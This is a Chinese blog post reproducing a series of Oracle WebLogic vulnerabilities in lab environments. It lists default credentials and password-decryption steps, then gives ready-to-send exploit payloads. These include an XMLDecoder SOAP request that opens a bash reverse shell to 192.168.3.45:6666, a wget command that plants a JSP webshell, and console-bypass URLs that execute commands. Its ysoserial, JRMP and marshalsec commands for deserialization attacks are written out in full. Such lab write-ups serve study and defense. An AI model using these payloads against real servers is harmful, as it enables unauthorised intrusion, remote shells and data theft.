前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Weblogic相关漏洞复现

Weblogic相关漏洞复现

原创
作者头像
Gh0st1nTheShel
修改2022-03-07 10:47:07
2.4K0
修改2022-03-07 10:47:07
举报
文章被收录于专栏:网络空间安全网络空间安全

欢迎关注我的公众号《壳中之魂》,观看更多网安文章

弱口令

版本:全版本

常见账号密码搭配

代码语言:javascript
复制
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

密码破解

版本:全版本

假如目标环境有任意文件读取的漏洞,我们可以选择性地读取一些文件,由于weblogic使用AES加密(老版本3DES),所以是可以解密的,只需要找到加密时的用户密文和密钥即可,其均位于base_domain下,名为SerializedSystemIni.dat和config.xml,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)所以我们可以读取这两个文件

SerializedSystemIni.dat

此文件是一个二进制文件,我这里用浏览器下载不到,而且据说使用浏览器读取会引入干扰字符,所以要采用Burpsuite来读取,在vulhub的环境中,/hello/file.jsp?path=设置了任意文件读取楼栋号,通过此漏洞来读取SerializedSystemIni.dat

读取了以后右键将其保存为文件

接着读取config.xml,加密后的管理员密码标签为<node-manager-password-encrypted>

代码语言:javascript
复制
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

接着使用工具将密文解密

xp3s/Decrypt_Weblogic_Password: 搜集了市面上绝大部分weblogic解密方式,整理了7种解密weblogic的方法及响应工具。 (github.com)

但是我解密的时候报错,正常应该会显示这个

任意文件上传漏洞(CVE-2018-2894)

版本:10.3.6,12.1.3,12.2.1.2,12.2.1.3

weblogic如果开启了web服务测试页(默认不开启),则分别会在/ws_utc/begin.do以及/ws_utc/config.do这两个页面存在任意上传getshell漏洞

由于该设置默认不开启,所以此漏洞有一定的局限性

/ws_utc/config.do

搭建好环境后首先先开启web服务测试页(Weblogic Web Service Test Page),但是经过测试,即使不开启也是可以访问/ws_utc/config.do页面的,但是还是先记录一下

开启设置,然后保存

接着打开/ws_utc/config.do

首先设置当前的工作目录为

代码语言:javascript
复制
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

之所以设置这个目录,是因为这个目录为ws_utc应用的静态文件css目录,访问这个目录是无需权限的

接着点击安全,就可以吧文件上传到服务器上了

我这里上传了一个jsp木马,可以使用蚁剑连接

上传完后按F12打开源码,将id的值,也就是时间戳复制出来

然后访问路径:192.168.3.44:7001/ws_utc/css/config/keystore/1645430582722_shell.jsp

其中ip:7001/ws_utc/css/config/keystore/为固定路径,1645430582722为复制得到的时间戳,shell.jsp为上传文件的名字

/ws_utc/begin.do

ws_utc/begin.do我这里复现地也是有问题,不能直接未授权访问,具体原因不太清楚,不过文件上传的流程应该是没什么区别的

然后按F12打开审查元素,点击网络,再点击导入,然后查看响应包

构造链接:192.168.3.44:7001/ws_utc/css/upload/RS_Upload_2022-02-21_08-25-48_631/import_file_name_shell.jsp

SSRF(CVE-2014-4210)

版本:10.0.2,10.3.6

访问页面:http://192.168.3.45:7001/uddiexplorer/SearchPublicRegistries.jsp

SSRF(CVE-2014-4210)

版本:10.0.2,10.3.6

访问页面:http://192.168.3.45:7001/uddiexplorer/SearchPublicRegistries.jsp

抓包,点击search

通过修改operator的内容来观察探测结果

当探测的ip端口存在时会返回404状态码

当探测的ip端口不存在时就会显示不能连接

'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

版本:<=10.3.6.0,12.1.3.0.0,12.2.1.1.0

访问如下链接的其中一个,如存在一下页面则说明存在wls-wsat组件

代码语言:javascript
复制
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

确认存在组件后使用burpsuite抓包,修改请求方式为POST和Content-Type:text/xml

然后添加poc,其中String修改为合适的目标,用nc反弹shell,于是payload就被修改为nc的命令

代码语言:javascript
复制
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.3.45/6666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

使用nc设置好监听,然后发包

也可以通过此漏洞写shell

代码语言:javascript
复制
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

Weblogic反序列化远程代码执行(CVE-2019-2725)

版本:10.3.6.0.0、12.1.3.0.0

这个漏洞的复现过程和上面的差不多

接着抓包,改为POST方式提交,然后增加Content-Type:text/xml头

pauload:

代码语言:javascript
复制
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/hello</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

可以通过访问/_async/AsyncResponseService?info页面来查看如是用命令执行来上传文件的路径

上传文件命令

代码语言:javascript
复制
<string>wget http://x.x.x.x/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/1.jsp</string>

管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

一般登录控制台是访问/console并且登录后访问,登录后点击部署功能后显示的页面为

版本:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

环境开启后访问http://192.168.3.45:7001/console/css/%252e%252e%252fconsole.portal,可以未授权访问控制台

但是点击部署功能是没有安装按钮的

所以这个时候就要用到第二个漏洞,CVE-2020-14883,这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

利用com.tangosol.coherence.mvel2.sh.ShellSession

此方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类

代码语言:javascript
复制
http://192.168.3.45:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/hack');")

利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

此方法适用于任何版本的weblogic,约束在于我们需要构造一个xml文件,并保存在目标服务器(weblogic)可以访问到的地方

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/hack2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

让目标访问构造的恶意地址即可

代码语言:javascript
复制
http://192.168.3.45:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.3.45/shell.xml")

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

WLS Core是其中的一个核心组件。攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

版本:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

所有的weblogic会开启T3服务,可以使用nmap来扫描服务是否开启

代码语言:javascript
复制
nmap -n -v -p 7001,7002 172.28.0.2 --script=weblogic-t3-info

接着使用ysoserial工具,创建一个JRMP Server

代码语言:javascript
复制
java -cp ./ysoserial-master.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
java -cp ./ysoserial-master.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections1 'touch /tmp/hackyou'

接着使用python脚本:Oracle Weblogic Server 10.3.6.0 / 12.1.3.0 / 12.2.1.2 / 12.2.1.3 - Deserialization Remote Command Execution - Multiple remote Exploit (exploit-db.com)

代码语言:javascript
复制
python exploit.py [target ip] [target port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[target ip] [target port]为weblogic的ip和端口,[path to ysoserial]为ysoserial的路径,[JRMPListener ip] [JRMPListener port]为上一步启动的JRMP的ip和端口,[JRMPClient]为可选选项,为JRMPClient和JRMPClient2
python2 ./exploit.py 172.29.0.2 7001 /root/桌面/Tools/ysoserial-master.jar 192.168.3.45 6666 JRMPClient

测试后JRMPClient可以正常执行命令,而JRMPClient2测试则不是很行

weblogic iiop 反序列化漏洞(CVE-2020-2551)

这个漏洞没有复现成功,所以就记录一下过程

版本:10.3.6.0.0,12.1.3.0.0,12.2.1.3.0,12.2.1.4.0

工具:https://pan.baidu.com/s/1N9oW3PtJJpkGC-W-LkgW9A提取码:03vx

首先先把里面的exp.java编译了,编译前先修改文件里面的代码,确定要执行的命令

javac exp.java

接着启动一个http服务

代码语言:javascript
复制
python3 -m http.server 80

然后使用工具里面的marshalsec启动一个恶意的RMI服务

代码语言:javascript
复制
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.3.45/#exp" 7777

最后使用工具攻击

代码语言:javascript
复制
java -jar ./weblogic_CVE_2020_2551.jar 172.18.0.2 7001 rmi://192.168.3.45:7777/exp

不过我这里报错了,没有执行命令

Weblogic反序列化 (CVE-2016-0638&CVE-2016-3510&CVE-2017-3248)

基于Weblogic t3协议引起远程代码执行的反序列化漏洞 漏洞实为CVE-2015-4852绕过

CVE-2016-0638版本:10.3.6、12.1.2、12.1.3、12.2.1

CVE-2016-3510版本:10.3.6.0、12.1.3.0 、12.2.1.0

CVE-2017-3248版本:12.1.2、12.1.2.0、12.1.3、12.1.3.0、12.2.1、12.2.1.0、12.2.1.1、12.2.1.2、10.3.6、10.3.6.0

关于此漏洞的信息比较少,大多数都是分析的,所以直接跑工具

选择的工具为:https://github.com/5up3rc/weblogic_cmd

直接用idea打开,项目是用java1.6写的,实测1.8也是可以跑,不过要配置一下,而且会报一些错,注释掉一些改掉一些即可

将项目导入到idea后新建运行配置,选择应用程序,选择主要类,然后再程序参数写入执行的命令

代码语言:javascript
复制
使用说明
-H 远程目标主机
-P 远程目标端口
-C 需要执行的命令
-T 可选的绕过方式
-U 删除绑定的rmi实例
-B 通过payload直接调用系统命令-针对没法回显的情况下使用
-os 指定目标操作系统
-https 使用tls的指定
-shell 以shell的方式展现
-upload 上传文件 需要配合-src -dst
-src 需要上传的文件路径
-dst 需要上传文件至目标的路径
-noExecPath 在某些没有/bin/bash 或者cmd.exe情况下使用

执行即可

也可以不使用-B参数,这样一来可以获取回显

自动化扫描工具

工具地址:https://github.com/rabbitmask/WeblogicScan

使用方法

代码语言:javascript
复制
-u IP       target ip
-p PORT     target port
-f FILE     target list

WebLogic文件包含漏洞(CVE-2022-21371)

版本:12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 、14.1.1.0.0

此漏洞似乎并非每一个weblogic都会存在

代码语言:javascript
复制
GET .//META-INF/MANIFEST.MF
GET .//WEB-INF/web.xml
GET .//WEB-INF/portlet.xml
GET .//WEB-INF/weblogic.xml

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 弱口令
  • 密码破解
  • 任意文件上传漏洞(CVE-2018-2894)
    • /ws_utc/config.do
      • /ws_utc/begin.do
      • SSRF(CVE-2014-4210)
      • 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)
      • Weblogic反序列化远程代码执行(CVE-2019-2725)
      • 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)
        • 利用com.tangosol.coherence.mvel2.sh.ShellSession
          • 利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
          • Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
          • weblogic iiop 反序列化漏洞(CVE-2020-2551)
          • Weblogic反序列化 (CVE-2016-0638&CVE-2016-3510&CVE-2017-3248)
          • 自动化扫描工具
          • WebLogic文件包含漏洞(CVE-2022-21371)
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
          http://www.vxiaotou.com